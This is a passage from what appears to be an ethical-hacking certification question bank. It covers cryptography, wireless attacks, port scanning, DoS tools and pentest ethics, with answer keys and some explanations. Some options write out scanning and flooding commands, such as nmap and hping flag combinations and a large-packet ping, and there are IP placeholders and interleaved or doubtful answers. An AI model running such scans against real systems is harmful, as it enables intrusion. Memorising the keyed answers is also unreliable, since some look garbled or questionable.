D. Layer 3
Answer: B
 247

SSL, IKE, and PGP are examples of which kind of

cryptography?

A. Digest
B. Hash algorithm
C. Public Key
D. Secret Key Answer: C
 248

With one method of cryptanalysis, an attacker is able

to make a bunch of interactive queries, and then
choose subsequent plaintexts based on the previous
encryption results. Which type of crypto-attack is this
describing?
An adaptive chosen plaintext attack is a chosen plaintext attack scenario in which the attacker
has the ability to make his or her choice of the inputs to the encryption function based on the
previous chosen plaintext queries and their corresponding ciphertexts. The scenario is more
powerful than the basic chosen plaintext attack.

A. Chosen-plaintext attack
B. Ciphertext-only attack
C. Known-plaintext attack
D. Adaptive chosen-plaintext attack Answer: D
 249

Which device can locate a rogue access point?

A wireless intrusion prevention system (WIPS) is a dedicated security device or integrated

software application that monitors a wireless LAN network's radio spectrum for rogue access
points and other wireless threats.

A. WIPS
B. WISS
C. NIDS
D. HIDS Answer: A
 250

A hacker sets up a rogue wireless access point that

appears to be a legitimate company WAP. Then the
attacker tricks users into connecting to it so he can
snoop on the victim’s communications. What type of
attack is this?

A. Sinkhole attack
B. Collision attack
C. Signal jamming attack
D. Evil Twin attack Answer: D
 251

There is a critical flaw with the OpenSSL cryptographic

library. This flaw allows an attacker to break the
encryption on data protected by the SSL/TLS
encryption used to secure internet sites. What is this
vulnerability called?

A. POODLE
B. Shellshock
C. Heartbleed Bug
D. SSL/TLS Renegotiation Vulnerability Answer: C
 252

Hacker Joe used a rogue WAP to do a MiTM attack,

where he injected malicious HTTP code whenever
users accessed web pages. Which tool is Hacker Joe
most likely using to inject the HTML code?
TCPDump and Wireshark are protocol analyzers that let you inspect traffic, but they’re not for
modifying traffic. Aircrack-ng is a wireless tool that can monitor the wireless network, crack the
encryption and authentication, and do other useful wireless activities.

Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live
connections, content filtering on the fly and many other interesting tricks. It supports active and
passive dissection of many protocols and includes many features for network and host analysis.

A. Aircrack-ng
B. Ettercap
C. TCPDump
D. Wireshark Answer: B
 253

Which of these Secure Hashing Algorithms (SHA)

resembles MD5 and produces a 160-bit message
digest?

A. SHA-0
B. SHA-1
C. SHA-2
D. SHA-3 Answer: B
 254

The network admin for a company is setting up a

website with e-commerce capabilities. Packet sniffing
is a concern because credit card information will be
sent electronically over the Internet. Customers
visiting the site will need to encrypt the data with
HTTPS.

Which type of certificate is used to encrypt and

decrypt the data?
While symmetric keys are used to encrypt the
A. Non-confidential session data, they are not contained in a certificate.
Here, the “data” they are talking about must be the
B. Asymmetric session key itself, which is encrypted by the
recipient’s public key certificate, which is
C. Symmetric asymmetric.

D. Confidential Answer: B
 255

What should you do when you discover that your web

server is being hacked?

A. Unplug the network connection on the company’s web

server.
B. Determine the origin of the attack and launch a
counterattack.
C. Record as much information as possible from the attack.
D. Perform a system restart on the company’s web server.
Answer: C
 256

Which option below is the best choice to protect

against privilege escalation?

A. Patch systems regularly and upgrade interactive login privileges at

the system administrator level.

B. Run administrator and applications on least privileges and use a

content registry for tracking.

C. Run services with least privileged accounts and implement multi-

factor authentication and authorization.

D. Review user roles and administrator privileges for maximum

utilization of automation services.
Answer: C
 257

Which is a common vulnerability that commonly

exposes sensitive information on Windows file
servers?

A. Cross-site scripting
B. SQL injection
C. Missing patches
D. CRLF injection Answer: C
 258

Which process determines how well a company

complies with its own security policy?

A. Vulnerability assessment
B. Penetration testing
C. Risk assessment
D. Security auditing Answer: D
 259

Which of these would be two-factor authentication?

A. USB token and PIN

B. Fingerprint scanner and retina scanner
C. Password and PIN
D. Account and password Answer: A
 260

What should your data custodian do to verify that all

the data on a backup tape can be recovered?

A. Restore a random file.

B. Perform a full restore.
C. Read the first 512 bytes of the tape.
D. Read the last 512 bytes of the tape Answer: B
 261

What port number is used by Kerberos protocol?

A. 88
B. 44
C. 487
D. 419 Answer: A
 262

What is the hexadecimal value of NOP-SLED in a

buffer overflow?

A. 0x60
B. 0x80
C. 0x70
D. 0x90 Answer: D
 263

Which best describes how companies should protect

themselves with policies regarding employee
surveillance activities?

A. Employers promote monitoring activities of employees as long as

the employees demonstrate trustworthiness.

B. Employers use informal verbal communication channels to explain

employee monitoring activities to employees.

C. Employers use network surveillance to monitor employee email

traffic, network access, and to record employee keystrokes.

D. Employers provide employees written statements that clearly

discuss the boundaries of monitoring activities and consequences.
Answer: D
 264

What are the short concrete or metal poles called in

front of a building that prevent you from driving
through an area, while at the same time allowing foot
traffic through?

A. Speed bumps
B. Bollards
C. Pillars
D. Block posts Answer: B
 265

An example of a detective control would be?

A. Smart card authentication

B. Security policy
C. Audit trail
D. Continuity of operations plan Answer: C
 266

In order to get your employees to accept your new

policies, who else must support them?

A. coworkers.
B. executive management.
C. the security officer.
D. a supervisor. Answer: B
 267

A large company intends to use Blackberry for

corporate mobile phones and a security analyst is
assigned to evaluate the possible threats. The analyst
will use the Blackjacking attack method to
demonstrate how an attacker could circumvent
perimeter defenses and gain access to the corporate
network. What tool should the analyst use to perform
a Blackjacking attack?

A. Paros Proxy
B. BBProxy
C. BBCrack
D. Blooover Answer: B
 268

What command would you use to show the current

TCP/IP connections established?

A. Netstat
B. Net use connection
C. Net use
D. Netsh Answer: A
 269

Which of these security features found on switches

works with the DHCP snooping database to prevent
man-in-the-middle (MiTM) attacks?

A. Port security
B. Layer 2 Attack Prevention Protocol (LAPP)
C. Spanning Tree
D. Dynamic ARP Inspection (DAI) Answer: D
 270

Normally SMTP is not encrypted when it sends mail

between servers, however, you can upgrade the
connection to use a TLS certificate to keep the e-mail
secure and encrypted. What is the command to make
SMTP transmit email over TLS?

A. FORCETLS
B. STARTTLS
C. UPGRADETLS
D. OPPORTUNISTICTLS
Answer: B
 271

How is the public key distributed in an orderly,

controlled fashion in order that the users can be sure
of the sender’s identity?

This one is very tricky! A Digital Signature certainly proves the sender’s identity, but this
question is specifically asking about how the public-key is distributed, and digital signatures
don’t distribute keys. A Digital Certificate, on the other hand, is your public key signed (verified)
by a trusted third-party. You can now distribute your public key to others, and they can verify it’s
legitimate by checking the third-party signature.

See why it’s tricky? Focusing on “how is the public key distributed..” gives us the answer (A),
even though the process may involve another answer (D).

A. Digital certificate
B. Hash value
C. Private key
D. Digital signature Answer: A
 272

With SSL/TLS we use both symmetric and asymmetric

cryptography. What is an advantage of this?

A. Asymmetric cryptography is computationally

expensive in comparison. However, it’s well suited to
securely negotiate keys for use with symmetric
cryptography.
B. Symmetric encryption allows the server to securely
transmit the session keys out-of-band.
C. Symmetric algorithms such as AES provide a failsafe
when asymmetric methods fail.
D. Supporting both types of algorithms allows less-
powerful devices such as mobile phones to use
symmetric encryption instead. Answer: A
 273

Which of these is the plaintext attack used on DES

where encrypting the plaintext with one DES key, and
then encrypting it again with a second DES key, is no
more secure than just using a single key?

When DES started getting old and less secure, they went to 2DES (double-DES) where they
would just encrypt traffic with a DES twice, using two different keys. Unfortunately, the Meet-In-
The-Middle attack was able to derive one of the keys, which then essentially reduced it back to
single DES again. This is why these days we use 3DES as it avoids this problem.

A. Replay attack
B. Meet-in-the-middle attack
C. Man-in-the-middle attack
D. Traffic analysis attack
Answer: B
 274

Which of these tools will show you (in real time)

which ports are in an listening state or some other
state?

This is a tricky one! Nmap can tell you the port states on remote computers and Netstat can
show you the port states on your own computer. Since the question doesn’t specify which, we
need to look for another clue. The “in real time” phrase helps here. You can have Netstat
continuously refresh the information so you can see your port states as they change from state
to state, like established, listening, waiting, etc. Try running the command “netstat -an 3”. This
says to show the port states, with all the information, and refresh every 3 seconds. Press ctrl+c
to cancel.

A. Nmap
B. Loki
C. TCPView
D. Netstat Answer: D
 275

Junior admin Bob is configuring a wireless router. He

has disabled the SSID broadcast, set the
authentication to “open”, and set the SSID to a 32-
character string of random numbers and letters.
Which is the best assessment of this scenario?
A. Disabling the SSID broadcast prevents 802.11 beacons from being
transmitted from the access point, resulting in a valid setup
leveraging “security through obscurity”.
B. The router is still vulnerable to wireless hacking attempts,
because the SSID broadcast setting can be enabled using a
specially crafted packet sent to the hardware address of the
access point.
C. It is still possible for a hacker to connect to the network after
sniffing the SSID from a successful wireless association..
D. Since the SSID is required in order to connect, the 32-character
string is sufficient to prevent brute-force attacks.
Answer: C
 276

Which firewall rule would ensure devices on the

[Link]/24 network can only reach a website at
[Link] using https?

A. if (source matches [Link]/24 and destination matches

[Link] and port matches 443) then permit
B. if (source matches [Link]/24 and destination matches
[Link] and port matches 80 or 443) then permit
C. If (source matches [Link] and destination matches
[Link]/24 and port matches 443) then permit
D. If (sources matches [Link] and destination matches
[Link] and port matches 443) then permit
Answer: A
 277

You’re preparing for a security assessment next week.

Which of these should you do to determine
inconsistencies in the secure assets database and to
verify that the system is compliant to the minimum
security baseline?

A. Data items and vulnerability scanning

B. Source code review
C. Reviewing the firewalls configuration
D. Interviewing employees and network engineers
Answer: A
 278
Which of these is a tool that performs a DoS attack
against web applications by starving the web server of
available sessions? It does this by using continuous POST
transmissions and sending large content-length header
values.
MyDoom is a Windows worm that sends junk e-mail. LOIC (Low-Orbit-Ion-Cannon) is a network
stress-testing tool that sends many TCP, UDP, and GET requests as part of a botnet doing a DDoS
attack. Stacheldraht is another botnet tool for doing DDoS attacks. R.U.D.Y. is a popular low and
slow attack tool that is designed to crash a web server by submitting long form fields.
The attack is executed via a DoS tool which browses the target website and detects embedded
web forms. Once the forms have been identified, R.U.D.Y. sends a legitimate HTTP POST request
with an abnormally long 'content-length' header field. By sending numerous small packets, at a
very slow rate, R.U.D.Y. creates a massive backlog of application threads, while the long
‘'Content-Length’ field prevent the server from closing the connection. Ultimately, the attack
exhausts the targeted server’s connection table, causing the server to crash.

A. LOIC
B. MyDoom
C. R-U-Dead-Yet? (RUDY)
D. Stacheldraht Answer: C
 279

Which layer-3 protocol would give you end-to-end

encryption for FTP traffic?

First of all, there is only one layer-3 protocol listed here, which is IPSec. If it has “IP” in the name,
it’s probably layer 3! Secondly, there are many ways to secure any type of traffic, including FTP.
While IPSec is most commonly used to secure VPN traffic, it has many other uses. You can create
an IPSec tunnel to securely transmit your FTP traffic.

A. FTPS
B. SFTP
C. SSL
D. IPSec Answer: D
 280

A cryptographic hash gives us which of these security

services?
This is another very tricky question! First off, answer A is right out because by itself a hash
doesn’t give us message authentication.

All of the rest of the answers could be correct! Integrity is certainly correct, but then we have to
choose between computational infeasibility, collision resistance, and ease of computation. Well,
we can rule that last one out because ease of computation isn’t really a security service that we
look to hashing to fulfill for us.

That leaves us deciding between collision resistance and computational infeasibility. The latter
gives us more mileage, because it should be computationally infeasible to A) have a collision,
and B) reverse-engineer the original message back out of the message digest. Because this
answer provides more services, computational infeasibility slightly wins out here.

A. Message authentication and collision resistance

B. Integrity and computational infeasibility
C. Integrity and collision resistance
D. Integrity and ease of computation Answer: B
 281

Which of these is a way for a hacker on the outside of

a network to move a protected inside host behind a
firewall, and that lets the hacker see which ports are
open and if the packets can pass through the packet-
filtering of the firewall?

A. Network sniffing
B. Session hijacking
C. Firewalking
D. Man-in-the-middle Answer: C
 282

What’s the difference between RSA and AES?

A. Both are symmetric algorithms, but AES uses 256-bit

keys.
B. AES is asymmetric, which is used to create a
public/private key pair; RSA is symmetric, which is
used to encrypt data.
C. Both are asymmetric algorithms, but RSA uses 1024-
bit keys.
D. RSA is asymmetric, which is used to create a
public/private key pair; AES is symmetric, which is
used to encrypt data.
Answer: D
 283

You analyze a suspicious connection from your e-mail

server to an unknown IP address, and you determine
that this is a security breach. What is the first thing
you should do before contacting the incident
response team?

A. Disconnect the email server from the network.

B. Leave it be and contact the incident response team
right away.
C. Block the connection to the suspicious IP address from
the firewall.
D. Migrate the connection to the backup email server.
Answer: C
 284

You want to allow TCP port 80 inbound to your

computer. How do you block or allow specific ports
within Windows Firewall.

A. This is not possible without installing third-party

software, since Windows only allows changing firewall
settings for individual applications.
B. The firewall rule must be added from within the
application that is using that port.
C. The only way to implement a specific rule like this is to
use the “netsh” program on the command-line.
D. A rule matching these requirements can be created in
“Windows Firewall with Advanced Security”, located in
Control Panel Answer: D
 285

Your application developers have created a 3-tier web

application for your customers out on the internet. In
which network should you place the Presentation Tier
(your front-end web server)?

A. Mesh network
B. Internal network
C. DMZ network
D. Isolated vlan network Answer: C
 286

Your company’s procedure for creating firewall rules is

to have management approval before creating any
new rules. You notice a recently created rule in your
firewall, but you can’t find any management approval
for the rule. What would be a good step to have in
your procedures for situations like this?

A. Immediately roll back the firewall rule until a manager can

approve it.
B. Don’t roll back the firewall rule as the business may be
relying upon it, but try to get manager approval as soon as
possible.
C. Monitor all traffic using the firewall rule until a manager can
approve it.
D. Have the network team document the reason why the rule
was implemented without prior manager approval.
Answer: C
 287

What is the name and syntax of the Linux OpenSSL

tool that will test TLS by connecting to a web server?

A. openssl s_client -site [Link]

B. openssl_client -site [Link]
C. openssl s_client -connect [Link]
D. openssl_client -connect [Link]
Answer: C
 288

Which of these encryption algorithm is the fastest?

A. SHA-1
B. SHA-2
C. ECC
D. AES Answer: D
 289

You are reviewing a suspicious java script, but the

code is very hard to understand and all of the code is
different from typical java script. What is the
technique called that will hide the code and make it
take longer to analyze?

A. Encryption
B. Obfuscation
C. Steganography
D. Code encoding Answer: B
 290

You want to send Bob an e-mail and make sure it’s

encrypted so only he can read it. At what layer of the
OSI model does encryption and decryption of e-mails
take place?

File encryption and, in this case, e-mail encryption, takes place at layer-6 or the Presentation
Layer.

A. Application
B. Presentation
C. Session
D. Transport Answer: B
 291

Which of these IP’s would be within the last 100

usable IP addresses of the [Link]/23 subnet?

Without getting deep into sub-netting, remember that every time you add one more bit to the
hosts side of a subnet mask you double the number of usable addresses. For example if this was
[Link]/24, you would have 254 usable hosts in the range of [Link] - [Link].
Since this is a /23 (in binary, one less 1 on the network, or “left” side, which means one more
zero on the hosts, or “right” side of the IP address) this means we double the number of usable
hosts. Now the range would be [Link] - [Link]. The last 100 usable IP’s then,
would be [Link] - [Link]

A. [Link]
B. [Link]
C. [Link]
D. [Link] Answer: D
 292

After gaining access to a list of logins and hashed

passwords, which of these would be the fastest way
to crack the passwords?

A. Collision
B. Rainbow tables
C. Decryption
D. Brute force Answer: B
 293

Which of these risk assessment steps refers to

identifying vulnerabilities?

A. Determine if any flaws exist in systems, policies, or

procedures.
B. Identify sources of harm to an IT system (Natural,
Human, Environmental).
C. Assigns values to risk probabilities and impact values.
D. Determines risk probability that a vulnerability will be
exploited (High, Medium, Low). Answer: A
 294

Which of these hashing functions are not

recommended to be used any longer?

A. SHA-1, ECC
B. SHA-2, SHA-3
C. MD5, SHA-5
D. MD5, SHA-1 Answer: D
 295

Which of these cracks passwords by utilizing a pre-

computed table of password hashes?

A. Dictionary attack
B. Brute Force attack
C. Hybrid attack
D. Rainbow Table attack
Answer: D
 296

With IPv6, what’s the main difference between

application layer vulnerabilities compared to IPv4?

A. Due to the extensive security measures built into IPv6,

application layer vulnerabilities do not need to be
addressed.
B. Implementing IPv4 security in a dual-stack network
offers protection from IPv6 attacks too.
C. Vulnerabilities in the application layer are greatly
different from IPv4.
D. Vulnerabilities in the application layer are
independent of the network layer. Attacks and
mitigation techniques are almost identical. Answer: D
 297

Which is the true statement regarding PKI?

A. The CA encrypts all messages

B. The RA verifies an applicant to the system
C. The CA is the recovery agent for lost certificates
D. The RA issues all certificates Answer: B
 298

What does line 6 of this traceroute mean?

PS C:\> tracert -d [Link]

Tracing route to [Link] [[Link]]

over a maximum of 30 hops:
1 301 ms 614 ms 229 ms [Link]
2 89 ms 56 ms 308 ms [Link]
3 97 ms 78 ms 58 ms [Link]
4 * * * [Link]
5 88 ms 87 ms 64 ms [Link]
6 318 ms [Link] 90 ms [Link] 76 ms [Link]
7 246 ms 178 ms 198 ms [Link]
8 120 ms 319 ms 66 ms [Link]
9 313 ms 162 ms 77 ms [Link]

A. The traffic is encapsulated by a GRE tunnel between router 4 and 7.

B. MPLS is used between router 5 and 6.
C. The [Link] address is a host which has redirected the traffic.
D. Router [Link] has two equivalent paths towards the destination
Answer: D
 299

What is the minimum number of network

connections for a multihomed firewall?

A. 2
B. 3
C. 4
D. 5 Answer: A
 300

Which type of malware requires a “host” application

to replicate?

A. Micro
B. Worm
C. Trojan
D. Virus Answer: D
 301

Which type of “something-you-are” authentication

measures blood vessels in your eye?

A. Facial recognition scan

B. Retinal scan
C. Iris scan
D. Signature kinetics scan Answer: B
 302

Your company is undergoing renovations. An attacker

dresses up like a construction worker and waits in the
lobby for an employee to pass through the main
access door. The attacker follows the employee
through the door to gain access to the building.
Which type of attack has been done here?

A. Man trap
B. Tailgating
C. Shoulder surfing
D. Social engineering Answer: B
 303

What’s the benefit of using established testing

methods to perform a penetration test?

A. They provide a repeatable framework.

B. Anyone can run the command line scripts.
C. They are available at low cost.
D. They are subject to government regulation. Answer: A
 305

You want to send various traffic to a remote host, but

you’re worried that someone might monitor the link
and capture the traffic. You want to tunnel the data
but you do not have VPN capabilities. Which of the
following tools can you use to protect the link?

A. MD5
B. PGP
C. RSA
D. SSH Answer: D
 306

A hacker is attempting to use nslookup to query

Domain Name Service (DNS). The hacker uses the
nslookup interactive mode for the search. Which
command should the hacker type into the command
shell to request the appropriate records?

A. Locate type=ns
B. Request type=ns
C. Set type=ns
D. Transfer type=ns Answer: C
 307

You have been hired to perform a penetration test.

You start by doing lookups on the client’s DNS servers,
scanning their IP ranges, Googling for news
concerning the client, staking out the client’s building
to watch employee activity, looking at their job
postings, and dumpster diving at the client’s office.
Which stage of the penetration test does this
describe?

A. Information reporting
B. Vulnerability assessment
C. Active information gathering
D. Passive information gathering Answer: D
 308

Bob finds out that his company will be laying him off
in a few weeks and he is very angry. He places trojans,
viruses, and logic bombs on his network to make his
company pay for what they’re doing to him. Bob
doesn’t care if he ends up in jail for 20 years because
of this. What is Bob considered?

A. Bob would be considered a Suicide Hacker

B. Since he does not care about going to jail, he would be
considered a Black Hat
C. Because Bob works for the company currently; he would be a
White Hat
D. Bob is a Hacktivist Hacker since he is standing up to a
company that is downsizing
Answer: A
 309

What does FIN in TCP flag define?

A. Used to abort a TCP connection abruptly

B. Used to close a TCP connection
C. Used to acknowledge receipt of a previous packet or
transmission
D. Used to indicate the beginning of a TCP connection Answer: B
 310

How could you detect IP spoofing from an outside

attacker?

A. Check the IPID of the spoofed packet and compare it

with TLC checksum. If the numbers match then it is
spoofed packet
B. Probe a SYN Scan on the claimed host and look for a
response SYN/FIN packet, if the connection completes
then it is a spoofed packet
C. Turn on 'Enable Spoofed IP Detection' in Wireshark,
you will see a flag tick if the packet is spoofed
D. Sending a packet to the claimed host will result in a
reply. If the TTL in the reply is not the same as the packet
being checked then it is a spoofed packet
Answer: D
 311

Which method can help protect against enumeration?

A. Reject all invalid email received via SMTP.

B. Allow full DNS zone transfers.
C. Remove A records for internal hosts.
D. Enable null session pipes. Answer: C
 312

Where can you go to see past versions and pages of a

website?

A. [Link]
B. [Link]
C. [Link]
D. [Link] Answer: C
 313

Passive reconnaissance involves collecting information

through which of the following?

A. Social engineering
B. Network traffic sniffing
C. Man in the middle attacks
D. Publicly accessible sources Answer: D
 314

In order to market his penetration testing skills, a

consultant posts on his website several audits that he
has performed in the past. Which is the most likely
outcome of this?

A. The consultant will ask for money on the bid because of great work.
B. The consultant may expose vulnerabilities of other companies.
C. The company accepting bids will want the same type of format of testing.
D. The company accepting bids will hire the consultant because of the great
work performed.
Answer: B
 315

Which of these consists of a publicly available

database that contains domain name registration
contact information?

A. WHOIS
B. IANA
C. CAPTCHA
D. IETF Answer: A
 316

You’ve performed a penetration test for a customer,

but they haven’t paid you for a long time and they
keep making excuses. What should you do?

A. Threaten to publish the penetration test results if not

paid.
B. Follow proper legal procedures against the company to
request payment.
C. Tell other customers of the problems with payments
from this company.
D. Exploit some of the vulnerabilities found on the
company webserver to deface it. Answer: B
 317

What’s the first thing a penetration tester should do

after being brought in to a company?

A. Begin security testing.

B. Turn over deliverables.
C. Sign a formal contract with non-disclosure.
D. Assess what the organization is trying to protect.
Answer: C
 318

You are a penetration tester for a large security

research company. Your friend asks you to perform a
penetration test and vulnerability assessment of his
new company as a favor. What should you do before
starting work on this job?

A. Start by foot printing the network and mapping out a plan of attack.

B. Ask your employer for authorization to perform the work outside your company.

C. Begin the reconnaissance phase with passive information gathering and then move
into active information gathering.

D. Use social engineering techniques on the friend's employees to help identify areas
that may be susceptible to attack.
Answer: B
 319

After doing a WHOIS on your domain name, what can

an attacker do if you have shared too much
information about your company through these
public domain records? (select TWO answers)

A. Search engines like Google and Bing will expose

information listed on the WHOIS record
B. An attacker can attempt phishing and social
engineering on targeted individuals using the information
from WHOIS records
C. Spammers can send unsolicited e-mails to addresses
listed in the WHOIS record
D. IRS Agents will use this information to track individuals
using the WHOIS record information Answer: BC
 320

Employees in a company are no longer able to access

Internet web sites on their computers. The network
administrator is able to successfully ping IP address of
web servers on the Internet and is able to open web
sites by using an IP address in place of the URL. The
administrator runs the nslookup command for
[Link] and receives an error message
stating there is no response from the server. What
should the administrator do next?
A. Configure the firewall to allow traffic on TCP ports 53 and UDP
port 53.
B. Configure the firewall to allow traffic on TCP ports 80 and UDP
port 443.
C. Configure the firewall to allow traffic on TCP port 53.
D. Configure the firewall to allow traffic on TCP port 8080. Answer: A
 321
The following is part of a log file taken from the machine on the network
with the IP address of [Link]:
Time:Mar 13 17:30:15 Port:20 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:[Link] Destination:[Link] Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:[Link] Destination:[Link] Protocol:TCP

What type of activity has been logged?

A. Port scan targeting [Link]

B. Teardrop attack targeting [Link]
C. Denial of service attack targeting [Link]
D. Port scan targeting [Link] Answer: D
 322

A company has five different subnets: [Link],

[Link], [Link], [Link] and
[Link]. How can NMAP be used to scan these
adjacent Class C networks?

A. NMAP 192.168.1-5.*
B. NMAP [Link]/16
C. NMAP [Link],2.0,3.0,4.0,5.0
D. NMAP 192.168.1/17 Answer: A
 323

Which of the following tools will scan a network to

perform vulnerability checks and compliance
auditing?

A. NMAP
B. Metasploit
C. Nessus
D. BeEF Answer: C
 324

An NMAP scan of a server shows port 25 is open.

What risk could this pose?

A. Open printer sharing

B. Web portal data leak
C. Clear text authentication
D. Active mail relay Answer: D
 325

If a tester is attempting to ping a target that exists but

receives no response or a response that states the
destination is unreachable, ICMP may be disabled and
the network may be using TCP. Which other option
could the tester use to get a response from a host
using TCP?

A. Hping
B. Traceroute
C. TCP ping
D. Broadcast ping Answer: A
 326

Which NMAP command combination would let a

tester scan every TCP port from a class C network that
is blocking ICMP with fingerprinting and service
detection?

A. NMAP -PN -A -O -sS [Link]/24

B. NMAP -P0 -A -O -p 1-65535 [Link]/24
C. NMAP -P0 -A -sT -p 0-65535 192.168.0/16
D. NMAP -PN -O -sS -p 1-1024 192.168.0/8 Answer: B
 327

When using NMap to scan a network a consultant

decides to skip the information gathering phase and
just use a broad scope scan. He uses the following
command:
NMAP –sT –n –T0 –P0 –p 0-65535 [Link]/8
Approximately how many hosts/ports will be
scanned?

A. 16 Million hosts x 65536 ports each

B. Cannot determine since only discovered hosts will be
port scanned
C. 4 Billion hosts x 65535 ports each
D. Zero since /8 is not a valid mask for a 172 network
Answer: A
 328

TCP SYN Flood attack abuses the three-way handshake

mechanism.

An attacker at system A sends a SYN packet to victim at

system B.
System B sends a SYN/ACK packet to victim A.
Normally, A should send an ACK packet to system B,
however, system A does not send an ACK packet to
system B. In this case client B is waiting for an ACK packet
from client A.
This status of client B is called _________________
A. "half-closed"
B. "half open"
C. "full-open"
D. "xmas-open" Answer: B
 329

You have a new router with an IP address of

[Link]. Which of the following commands could
you use to test the router to see if it is susceptible to a
DoS attack?

A. Use the command ping -l 56550 [Link] -t.

B. Use the command ping 56550 [Link].
C. Use the command ping [Link].
D. Use the command ping -4 56550 [Link]. Answer: A
 330

Which nmap command produced the following

output?

A. nmap -A -sV -p21,23,80,119 [Link]

B. nmap -F -sV -p21,23,80,119 [Link]
C. nmap -O -sV -p21,23,80,119 [Link]
D. nmap -T -sV -p21,23,80,119 [Link] Answer: C
 331

Name this type of scan:

You send a FIN packet to an open port and get no
response. You send a FIN packet to a closed port and
get a RST/ACK returned.

A. Idle Scan
B. FIN Scan
C. XMAS Scan
D. Windows Scan Answer: B
 332

What tool would allow you to crack a password by

pre-computing the hashes for all possible
permutations of the password?

A. SMBCrack
B. SmurfCrack
C. PSCrack
D. RainbowTables Answer: D
 333

ICMP ping and ping sweeps are used to check for

active systems and to check

A. if ICMP ping traverses a firewall.

B. the route that the ICMP ping took.
C. the location of the switchport in relation to the ICMP ping.
D. the number of hops an ICMP ping takes to reach a
destination. Answer: A
 334

Which of the following hping2 commands would be

used to perform an XMAS scan?

A. hping -S -R -P -A -F -U [Link] -p 80 -c 5 -t 60
B. hping -F -Q -J -A -C -W [Link] -p 80 -c 5 -t 60
C. hping -D -V -R -S -Z -Y [Link] -p 80 -c 5 -t 60
D. hping -G -T -H -S -L -W [Link] -p 80 -c 5 -t 60
Answer: A
 335

Jess the hacker runs L0phtCrack's built-in sniffer utility

that grabs SMB password hashes and stores them for
offline cracking. Once cracked, these passwords can
provide easy access to whatever network resources
the user account has access to. But Jess is not picking
up hashes from the network. Why?

A. The network protocol is configured to use SMB Signing

B. The physical network wire is on fiber optic cable
C. The network protocol is configured to use IPSEC
D. L0phtCrack SMB sniffing only works through Switches and not
Hubs Answer: C
 336

You are scanning a network to ensure it is as secure as

possible. You send a TCP probe packet to a host with a
FIN flag and you receive a RST/ACK response. What
does this mean about the port you are scanning?

A. This response means the port is open.

B. The RST/ACK response means the port is disabled.
C. This means the port is half open.
D. This means that the port is closed.
Answer: D
 337

Your company has blocked all the ports via external

firewall and only allows port 80/443 to connect to the
Internet. You want to use FTP to connect to some
remote server on the Internet.
How would you accomplish this?

A. Use HTTP Tunneling

B. Use Proxy Chaining
C. Use TOR Network
D. Use Reverse Chaining Answer: A
 338

Attackers send an ACK probe packet with random

sequence number, no response means port is filtered
(Stateful firewall is present) and RST response means
the port is not filtered. What type of Port Scanning is
this?

A. RST flag scanning

B. FIN flag scanning
C. SYN flag scanning
D. ACK flag scanning Answer: D
 339

Your network has been breached. You review your

logs and discover that an unknown IP address has
accessed the network through a high-level port that
was not closed. You trace the IP to a proxy server in
Argentina. After calling the company that owns the
server, they trace it to another proxy in Germany. You
call them and they trace it to another proxy in China.
What proxy tool has the attacker used to cover his
tracks?
A. ISA proxy
B. IAS proxy
C. TOR proxy
D. Cheops proxy Answer: C
 340

From an outside IP, you perform an XMAS scan against

your company using Nmap. Almost every port
scanned does not generate a response. What can you
infer from this kind of response?

A. These ports are open because they do not send a response.

B. These ports are in stealth mode.
C. If a port does not respond to an XMAS scan using NMAP, that port is closed.
D. The scan was not performed correctly using NMAP since all ports, no matter
what their state, will send some sort of response from an XMAS scan.
Answer: A
 341

Which flags are set in an XMAS scan?

A. FIN, RST, URG

B. PSH, ACK, RST
C. FIN, URG, PSH
D. URG, PSH, RST Answer: C
 342

Some of your users are visiting offensive websites

during business hours. You use a content-filtering
system so such access is not authorized. What
technique could they be using to bypass your filtering
system and access these sites?

A. They are using UDP that is always authorized at the firewall

B. They are using HTTP tunneling software that allows them to communicate
with protocols in a way it was not intended

C. They have been able to compromise the firewall, modify the rules, and give
themselves proper access

D. They are using an older version of Internet Explorer that allow them to
bypass the proxy server
Answer: B
 343

During security testing, you are attempting to flood

the ARP cache of your switches using the Macof tool.
What would be the result if the ARP cache is
successfully flooded?

A. The switches will drop into hub mode if the ARP cache
is successfully flooded.
B. If the ARP cache is flooded,the switches will drop into
pix mode making it less susceptible to attacks.
C. Depending on the switch manufacturer, the device will
either delete every entry in its ARP cache or reroute
packets to the nearest switch.
D. The switches will route all traffic to the broadcast
address created collisions.
Answer: A
 344

This TCP flag instructs the sending system to transmit

all buffered data immediately.

A. SYN
B. RST
C. PSH
D. URG
E. FIN Answer: C
 345

A SYN Flood is a DOS attack in which an attacker

deliberately violates the three-way handshake and
opens a large number of half-open TCP connections.
The signature of attack for SYN Flood contains:

A. The source and destination address having the same value.

B. A large number of SYN packets appearing on a network
without the corresponding final reply packets.
C. The source and destination port numbers having the same
value.
D. A large number of SYN packets appearing on a network with
the corresponding reply packets. Answer: B
 346

Which of the following scanning tools is specifically

designed to find potential exploits in Microsoft
Windows products?

A. Microsoft Security Baseline Analyzer

B. Retina
C. Core Impact
D. Microsoft Baseline Security Analyzer Answer: D
 347

LDAP uses which port number?

A. 110
B. 389
C. 464
D. 445 Answer: B
 348

From an external IP address, you want to try and trick

a switch into thinking it already has established a
session with your computer. How can you accomplish
this?

A. Send an IP packet with the RST/SYN bit and the

source address of your computer.
B. Send an IP packet with the SYN bit and the source
address of your computer.
C. Send an IP packet with the ACK bit set to zero and
the source address of the switch.
D. Send an IP packet to the switch with the ACK bit
and the source address of your machine.
Answer: D
 349

To see how some of the hosts on your network react,

you send out SYN packets to an IP range. A number of
IPs respond with a SYN/ACK response. Before the
connection is established, you send RST packets to
those hosts to stop the session. You have done this to
see how your intrusion detection system will log the
traffic. What type of scan is this?
A. You are attempting to find live hosts on your company's
network by using an XMAS scan.
B. You are utilizing a SYN scan to find live hosts that are listening
on your network.
C. This type of scan you are using is called a NULL scan.
D. You are using a half-open scan to find live hosts on your
network.
Answer: D
 350

Bob runs a Web server, IDS and firewall on his network. Recently
his Web server has been under constant hacking attacks. He
looks up the IDS log files and sees no intrusion attempts but the
